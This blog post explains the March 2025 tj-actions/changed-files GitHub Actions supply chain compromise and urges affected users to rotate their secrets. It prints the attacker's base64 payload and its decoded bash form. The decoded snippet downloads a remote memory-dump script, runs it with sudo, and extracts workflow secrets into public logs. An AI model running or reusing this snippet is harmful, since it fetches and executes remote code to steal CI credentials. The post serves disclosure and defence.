A Green Square

  1. Home
  2. Blog
  3. GitHub Actions workflows compromised by tj-actions/changed-files supply chain attack

GitHub Actions workflows compromised by tj-actions/changed-files supply chain attack

Published

The tj-actions/changed-files GitHub Actions workflow was compromised last week by introducing this commit, designed by the attacker to look like a routine action from the Renovate bot. This resulted in secrets being published to public logs, and anyone affected needs to rotate their secrets immediately.

GitHub Actions is an awesome CI/CD pipeline and general purpose automation tool that includes free tiers for GitHub users. It is frequently used for automating tasks like testing, building software from source code, and deploying container images to registries.

In the spirit of open source, GitHub Actions workflows often have public logs, viewable by anyone. Usually secrets are displayed like *** in logs for security purposes, so things like API tokens and passwords can used in GitHub Actions safely.

With this supply chain attack, past and present versions of tj-actions/changed-files were compromised so that they would print secrets to public logs for slurping by l33t h@x0rs.

Take a peek at the above commit and see if you notice anything sus. How about that base64-encoded string being introduced?

aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=

Decoded, that becomes:

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

The specific Python script being loaded from that GitHub Gist URL 404s now, but it belongs to security researcher Nikita Stupin. Nikita has an excellent repo called pwnhub that details a bunch of potential GitHub Actions workflow security vulnerabilities. Well worth a read if you make use of GitHub Actions yourself and want a better understanding of where you could get bit.

All versions of tj-actions/changed-files have since been fixed, but anyone who ran workflows using it on March 14 or 15 should audit their logs and rotate any secrets that might have been exposed.

Futher reading: